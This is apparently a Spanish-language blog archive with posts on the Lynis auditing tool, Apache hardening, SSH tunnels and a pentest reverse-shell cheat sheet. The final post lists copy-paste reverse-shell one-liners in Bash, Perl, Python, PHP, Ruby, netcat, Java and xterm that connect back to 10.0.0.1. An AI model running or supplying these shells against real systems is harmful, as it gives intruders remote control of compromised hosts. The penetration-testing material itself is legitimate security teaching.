Category Archives: Unix

Lynis: Herramienta de Seguridad y Auditoria para Sistemas *nix

lynisLynis es una herramienta de auditoria para sistemas *nix (Unix/Linux). La misma ejecuta un análisis de seguridad y determina el estado de “hardering” del host. Cualquier problema de seguridad que sea detectado proporcionara una sugerencia o una advertencia. Junto con la información relacionada con la seguridad también buscara información general del sistema, paquetes instalados y posibles errores de configuración. En general, es una herramienta de auditoria y seguridad para “hardering” de sistemas *nix (Unix/Linux).

Este software tiene como objetivo asistir de manera automatica en la auditoria, “hardering”, gestion de parches, y el analisis de vulnerabilidades y malware de sistemas *nix (Unix/Linux). Se puede ejecutar sin necesidad de instalación, por lo que se puede utilizar en medios extraibles como ser CD/DVD, pendrives, etc.

Es una herramienta que ayuda a los auditores en la realizacion de auditorias basadas en los estandares Basel II, GLBA, HIPAA, PCI DSS and SOx (Sarbanes-Oxley).

Lynis esta desarrollada para ser utilizada por especialistas de seguridad, pentesters, auditores de sistemas, administradores de sistemas.

Algunos ejemplos de testeos:

  • Métodos disponibles de autenticación
  • Certificados SSL expirados
  • Software desactualizado
  • Cuentas de usuario sin password
  • Permisos de archivos incorrectos
  • Errores de configuración
  • Auditoria de Firewall

lynis-screenshot

Lynis es un script de auditoria escrito en lenguaje de scripting shell (sh). Por lo tanto, se ejecuta en la mayoría de los sistemas sin ningún tipo de configuración. Los paquetes están creados para facilitar su instalación. Aun así, si nos interesa bajar la versión mas reciente, basta con descargar el “tarball”, extraerlo en un directorio temporal y ejecutar la herramienta.

Testeado en los siguientes SO:

  • ArchLinux
  • CentOS
  • Debian
  • FedoraCore
  • FreeBSD
  • Gentoo
  • Knoppix
  • LinuxMint
  • MacOSX
  • Mandriva
  • OpenBSD
  • OpenSolaris
  • OpenSuSE
  • OracleLinux
  • PcBSD
  • PCLinuxOS
  • RedHatEnterpriseLinux(RHEL)
  • RedHatderivatives
  • Slackware
  • Solaris10
  • Ubuntu

Descarga

Seguridad en Apache (Parte III): Ocultar Información

Apache-LogoEn la presente entrada, se describirán métodos para tratar de minimizar la información expuesta que facilite ataques sobre el servidor web.
Una de las primeras fases de los ataques sobre los sistemas de información es la revelación de información (o information disclosure). Cuanta más información tenga el atacante, más fácil le resultara encontrar vulnerabilidades existentes en el sistema atacado.
A continuación, se detallarán varias medidas para tratar de exponer la mínima información posible.

Deshabilitar el listado de ficheros

Si se le envía a Apache una URL que solicita un directorio y no un archivo concreto, Apache permite mostrar los contenidos de este directorio. Esta funcionalidad puede ser aprovechada por un atacante para descubrir archivos que el administrador del sitio no tenía intención de publicar.

Esta característica de Apache es controlada por la directiva Options, para desactivarla se debe aplicar la siguiente configuración:

Options -Indexes

Como su propio nombre indica, mediante esta directiva se controlan varias opciones de configuración. Puede aceptar varios valores, entre ellos All y None para activar o desactivar todas las opciones disponibles. De hecho, en la configuración del directorio raíz se recomienda desactivar todas por seguridad, lo que incluiría la opción Indexes:

 

Limitar el acceso a archivos por extensión

En algunas ocasiones determinados ficheros deben existir dentro del DocumentRoot del servidor pero no se desea que estén disponibles, como los ficheros .htaccess y .htpasswd, cuya funcionalidad se explicará posteriormente. En estos casos, se pueden utilizar las directivas Files y FilesMatch para denegar su acceso.

En el siguiente ejemplo, se deniega el acceso a todos los ficheros que comienzan por los caracteres “.ht” (entre ellos .htaccess y .htpasswd):

 

Las siguiente configuración evita que se publiquen los archivos de copia de seguridad:

 

Files y FilesMatch sólo actúan sobre el nombre del archivo, para filtrar directorios, se debe utilizar DirectoryMatch. Mediante las directivas presentes a continuación se vetaría el acceso a todos los directorios CVS:

 

Información en la cabecera Server

En las respuestas HTTP se incluye la cabecera Server que contiene información sobre el software que ejecuta el servidor web:

apache_wireshark_header_server_full

Si se desea restringir esta información se puede utilizar la directiva ServerTokens, aunque no se puede restringir la información enviada completamente ya que la configuración más restrictiva es Prod que, como se aprecia a continuación, envía el nombre del servidor web:

apache_wireshark_header_server_prod

Mediante el módulo mod_security es posible modificar el valor de esta cabecera completamente:

SecServerSignature “Microsoft-IIS/5.0”

Aunque mod_security es un módulo de gran utilidad, se desaconseja su instalación únicamente para enmascarar el servidor ya que un hacker dispone de múltiples herramientas de fingerprinting como HTTPrint, que basándose en pequeñas diferencias de implantación del protocolo HTTP, permite obtener la versión del navegador web:

httprint

Información en páginas generadas por el servidor

La directiva ServerSignature establece si se desea mostrar la versión del servidor, el correo del administrador y el nombre del servidor virtual en las páginas generadas por Apache (por ejemplo, errores o listados de directorio FTP). Para no mostrar información se puede establecer a Off.

La dirección de correo electrónico del administrador, que muestra en determinadas páginas de error para que el internauta pueda notificar el error, se establece mediante la directiva ServerAdmin. No es recomendable establecer una personal, sino una genérica con este fin específico.

Por otro lado, Apache muestra una página de error genérica cuando se produce un error que revela información sobre la versión del software ejecutada:

apache_error_404

Mediante la directiva ErrorDocument se puede modificar este texto, incluso invocar un script que lo construya dinámicamente. Aunque esta directiva es poco flexible ya que hay que crear una entrada por cada código de error. Por ejemplo:

ErrorDocument 404 /error/404.html
ErrorDocument 500 “Error en el servidor”

Seguridad en Apache (Parte II): Control de los archivos publicados

Apache-LogoEn esta nueva entrega se explicarán las directivas principales para definir los ficheros que servirá Apache sin que se facilite el acceso a ningún otro archivo del servidor.

El directorio especificado mediante la directiva DocumentRoot es el directorio desde el que se servirán los archivos de Apache. Aún así, existen errores de configuración que pueden posibilitar el acceso a otros directorios.

Denegar el acceso por defecto

Es conveniente denegar el acceso a todos los directorios por defecto y permitir el acceso sólo al directorio especificado en el DocumentRoot explícitamente:

 

Las directivas Allow y Deny son utilizadas para permitir o denegar respectivamente el acceso a un directorio y Order especifica el orden en el que serán evaluadas.

La directiva <Directory> sirve para aplicar un serie de directivas al directorio especificado y a todos sus subdirectorios. Lo más común es que existan varias de estas directivas y que, como también se aplican a los subdirectorios, existan directivas contradictorias aplicadas a un directorio. En este caso, la directiva del <Directory> más específico es la que prevalece. En el ejemplo anterior, existen directivas de acceso contradictorias en el directorio /var/www/htdocs, pero se imponen las que permiten el acceso por estar contenidas en un <Directory> más específico.

El cometido de las directivas Options y AllowOverride se explicarán en entregas posteriores.

Revisar las directivas Alias

Para servir un archivo Apache concatena el directorio especificado en DocumentRoot con la parte de la ruta de la URL:

apache_file_path

Pero mediante la directiva Alias se puede modificar esta resolución. Si la URL coincide con el primer parámetro de la URL, Apache servirá desde el directorio especificado en el segundo parámetro:

apache_alias

Para evitar filtrar información se debe analizar la necesidad de esta directiva y de las similares AliasMatch, ScriptAlias y ScriptAliasMatch.

Vetar la resolución de enlaces simbólicos

En sistemas Unix/Linux, Apache puede recibir una petición a un archivo que es, a nivel de sistema operativo del servidor, un enlace simbólico y devolver el archivo apuntado por él aunque se encuentre fuera del DocumentRoot.

Esta funcionalidad además posibilita que un atacante, que tenga permisos de escritura sobre el DocumentRoot, cree un enlace simbólico a archivos contenidos fuera del DocumentRoot para luego acceder a ellos a través del navegador.

Para deshabilitar esta posibilidad se debe aplicar la siguiente directiva:

Options -FollowSymLinks

Como alternativa, se puede habilitar esta funcionalidad pero sólo si el archivo destino pertenece al mismo usuario que el enlace simbólico:

Options -FollowSymLinks +SymLinksIfOwnerMatch

Parte I: Seguridad en Apache: Configuración e instalación (Parte I)

Introducción al uso de túneles SSH

Todos nos hemos encontrado en algún momento con que ese servicio al que queremos acceder está en un equipo inalcanzable desde nuestra red u otros problemas similares. Si disponemos de acceso SSH podemos solucionar fácilmente problemas de este tipo utilizando túneles SSH.

Planteamos un primer escenario, en el que tenemos un servidor de bases de datos al que podemos acceder por SSH, pero cuyo cortafuegos nos impide interactuar directamente con la base de datos (suponemos MySQL, que utiliza el puerto 3306).

a0

En este caso, para ganar acceso local a la base de datos, haremos que todo el tráfico que vaya al puerto local X se redirija a través de la conexión SSH al puerto local 3306 de la máquina a la que nos estamos conectando, utilizando el modificador -L:

 

Ahora, si tenemos una aplicación que utilice dicho servidor de base de datos, simplemente debemos indicarle que la base de datos se encuentra en nuestro equipo local, en el puerto X. Del mismo modo, si el equipo que tiene la base de datos es un tercer equipo, al que no tenemos acceso desde nuestro equipo local pero si desde el servidor al que nos conectamos a través de SSH, la orden será:

 

a1

También podemos querer justo lo contrario: que un servidor remoto pueda acceder a un recurso o servicio proporcionado por nuestro equipo o nuestra red local.

a2

En este caso, haremos que todo el tráfico que el servidor remoto envíe a su puerto Y se redirija hacia el puerto Z de nuestro equipo, utilizando el modificador -R:

 

Al igual que en el caso anterior, si el equipo que contiene el servicio que queremos conectar es uno distinto del nuestro, cambiaremos localhost por la IP de dicho equipo. Por ejemplo:

 

a3

Como extra, indicar que los servidores SSH ofrecen otra característica interesante, que consiste en crear un proxy de tipo SOCKS en el equipo local. Con esto hacemos que todas las peticiones que se envíen al puerto X del equipo local, se redirijan hacia el equipo remoto y se envíen a su destino como si las hubiera enviado el equipo remoto:

 

a4

Esto es de especial utilidad ya que existen multitud de aplicaciones cuyo tráfico puede ser reenviado a través de un proxy SOCKS. El mejor ejemplo de esto son los navegadores modernos, como Firefox, por ejemplo:

Screenshot from 2013-09-20 16:33:24

Esperro que les haya gustado este pequeño post.

Reverse Shell – Cheat Sheet

Si tienes la suerte de encontrar una vulnerabilidad que te permita ejecución de comandos durante un pentest, poco después, probablemente quieras tener acceso a un shell interactivo. Si no es posible agregar una nueva cuenta de usuario/ SSH Key / .rhosts y loguearte, el siguiente paso es probable que sea tirando por detrás un reverse shell (shell inversa) o bindear un shell a un puerto TCP. Este post tratara sobre la primera opción.

Las opciones para la creación de un reverse shell están limitadas por los lenguajes de script instalados en el sistema que estemos testeando – aunque probablemente podría subir un binario también, si tienes el conocimiento adecuado para hacerlo.

Los ejemplos que se muestran en este post están hechos para sistemas Unix-like. Algunos de los ejemplos a continuación también deberían funcionar en MS Windows si se sustituye “/bin/sh -i” por “cmd.exe”

Cada uno de los siguientes métodos están destinados a ser de una sola linea para poder copiar y pegar (Copy&Paste). Como tal son lineas muy cortas, pero no de fácil lectura.

Bash

Algunas versiones de Bash pueden enviar un reverse shell (Este fue probado en Linux Mint 15)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Aquí hay una versión abreviada, sin funciones especiales de una reverse shell en Perl:

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

Aquí otra shell reverse en perl:

Python

Este fue probado en Linux / Python 2.7

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

Este código asume que la conexión TCP utiliza descriptor de fichero 3. Esto funciono en un entorno de prueba. Si esto no funciona, intente: 4, 5, 6 …

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Si quieres un archivo php para subir, puedes usar este reverse shell php mas funcional y robusto

Ruby

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

NetCat

NetCat rara vez esta presente en los sistemas de producción, e incluso si esta hay varias versiones de NetCat, algunas de las cuales no son compatibles con la opción “-e”

nc -e /bin/sh 10.0.0.1 1234

Si la versión que esta en el sistema es la incorrecta, es posible que aun pueda obtener una shell inversa probando con este código:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

(Nota: Este script no fue probado)

xTerm

Una de las formas mas simples de obtener una reverse shell es una sesión de xTerm. El siguiente comando se debe ejecutar en el servidor. Intentara conectarse de nuevo a nuestro equipo (10.0.0.1 en el ejemplo) al puerto TCP 6001.

xterm -display 10.0.0.1:1

Para capturar la sesión xTErm entrante, iniciar x-server (:1 lo que escucha en el puerto TCP 6001) Una forma de hacerlo es con XNest (para ejecutarlo en nuestro sistema):

Xnest :1

Tendremos entonces que autorizar al objetivo para conectarse con nuestra computadora (este comando también se ejecutara en nuestro host):

xhost +targetip